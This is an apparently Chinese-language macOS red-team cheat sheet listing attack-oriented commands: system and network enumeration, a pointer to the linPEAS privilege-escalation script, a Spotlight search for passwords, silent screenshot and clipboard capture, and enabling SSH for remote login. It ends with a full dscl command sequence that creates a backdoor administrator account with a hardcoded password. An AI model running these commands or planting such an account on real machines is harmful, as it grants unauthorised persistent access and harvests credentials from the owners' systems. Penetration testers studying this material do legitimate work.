MacOS红队常用攻击命令
- 1.自动化武器
- 2.系统信息
- [3.服务 & 内核信息](#3.服务 & 内核信息)
- 4.快捷命令
- 5.网络相关
- [6.brew相关 / 软件包相关](#6.brew相关 / 软件包相关)
- 7.高权限命令
- 8.创建一个管理员权限的后门用户
1.自动化武器
1、linPEAS
LinPEAS 是一个脚本,用于在 Linux/Unix/MacOS 主机上搜索提权路径
macOS 系统上的枚举工具
2.系统信息
bash
# 查看系统日期
date
# 查看日历
cal
# 查看系统已运行时间
uptime
# 查看当前已登陆用户
w
# 当前用户
whoami
# 查看指定用户详细信息
finger root
# 完整的系统信息
uname -a
# 磁盘状态
df
3.服务 & 内核信息
bash
# 查看正在运行的 launchd 任务(macOS 和 iOS 系统中的系统初始化进程)
launchctl list
# 计划任务
atq
# 内核所有配置项
sysctl -a
# 列出所有磁盘及分区
diskutil list
# top风格查看各进程网络使用情况
nettop
system_profiler 系统报告:
bash
system_profiler SPSoftwareDataType # 系统信息
system_profiler SPPrintersDataType # 打印机信息
system_profiler SPApplicationsDataType # 已安装的应用程序信息
system_profiler SPFrameworksDataType # 已安装的框架信息
system_profiler SPDeveloperToolsDataType # 开发者工具信息
system_profiler SPStartupItemDataType # 启动项信息
system_profiler SPNetworkDataType # 网络配置能力信息
system_profiler SPFirewallDataType # 防火墙状态
system_profiler SPNetworkLocationDataType # 已知网络位置
system_profiler SPBluetoothDataType # 蓝牙信息
system_profiler SPEthernetDataType # 以太网信息
system_profiler SPUSBDataType # USB 设备信息
system_profiler SPAirPortDataType # 无线网卡(AirPort)信息
4.快捷命令
bash
# 利用 Spotlight 搜索含有 password 的内容,全文搜索
mdfind password
# 隐藏的打开一个应用
open -a <Application Name> --hide
# 使用 TextEdit 工具打开文件 some.doc
open some.doc -a TextEdit
# 防止系统进入睡眠状态
caffeinate &
# 截图并保存为图片 /tmp/ss.jpg(需要打开终端应用录屏权限)
screencapture -x /tmp/ss.jpg
# 获取剪切板内容
pbpaste
# 有趣的语音功能(用西班牙语语音朗读:你好吗)
say 你好吗 -v diego
5.网络相关
bash
# 查看本机的 ARP 缓存
arp -i en0 -l -a
# 查看监听中的端口及进程
lsof -i -P -n | grep LISTEN
# 查看挂载的 SMB 网络共享
smbutil statshares -a
# 列出所有网络服务
networksetup -listallnetworkservices
# 列出所有硬件接口
networksetup -listallhardwareports
# 查看wifi链接信息
networksetup -getinfo Wi-Fi
# 查看wifi使用的http代理
networksetup -getwebproxy Wi-Fi
# 自动代理URL
networksetup -getautoproxyurl Wi-Fi
6.brew相关 / 软件包相关
1、brew相关
bash
# 列出所有软件包
brew list
# 搜索包
brew search <text>
# 包信息
brew info <formula>
# 安装/卸载包
brew install/uninstall <formula>
# 清除旧版本包和无用文件
brew cleanup
2、软件包相关
bash
# 查看系统中安装的所有应用程序,包括它们的版本、路径、最后打开时间等详细信息
system_profiler SPApplicationsDataType
# 列出系统中安装的所有框架(Frameworks),比如 macOS 系统组件、动态链接库等
system_profiler SPFrameworksDataType
# 列出当前系统中运行的图形应用程序
lsappinfo list
# 列出当前用户和系统层级的所有 launchd 服务(守护进程和代理),包括它们的服务名称、PID(进程 ID)和最近的退出状态
launchctl list
7.高权限命令
下面的命令需要 root 权限才可以使用:
bash
# 手动清理未使用的内存(RAM)缓存
sudo purge
# 开启系统的 SSH 服务,允许其他设备通过 SSH 远程登录这台 Mac
sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
# 与上面相反,这条命令会关闭 SSH 服务,并禁止远程通过 SSH 登录
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist
# 控制内置 Apache HTTP 服务器
sudo apachectl (start|status|restart|stop)
# 清除 DNS 缓存(重置网络域名解析用于钓鱼的常用手段)
dscacheutil -flushcache
# 强制重启 mDNSResponder 进程,效果类似于彻底刷新 DNS 缓存
sudo killall -HUP mDNSResponder
8.创建一个管理员权限的后门用户
bash
# 创建本地用户 tccadmin
sudo dscl . -create /Users/tccadmin
# 设置用户密码为 tcc123
sudo dscl . -passwd /Users/tccadmin tcc123
# 设置用户真实名称
sudo dscl . -create /Users/tccadmin RealName "TCC Admin"
# 设置用户主目录路径
sudo dscl . -create /Users/tccadmin NFSHomeDirectory /Users/tccadmin
# 设置默认 shell 为 zsh
sudo dscl . -create /Users/tccadmin UserShell /bin/zsh
# 设置用户唯一ID(注意不要与现有用户冲突)
sudo dscl . -create /Users/tccadmin UniqueID 1013
# 设置主组为 admin 组(组 ID 为 80)
sudo dscl . -create /Users/tccadmin PrimaryGroupID 80
# 将该用户添加到 admin 管理员组中
sudo dscl . -append /Groups/admin GroupMembership tccadmin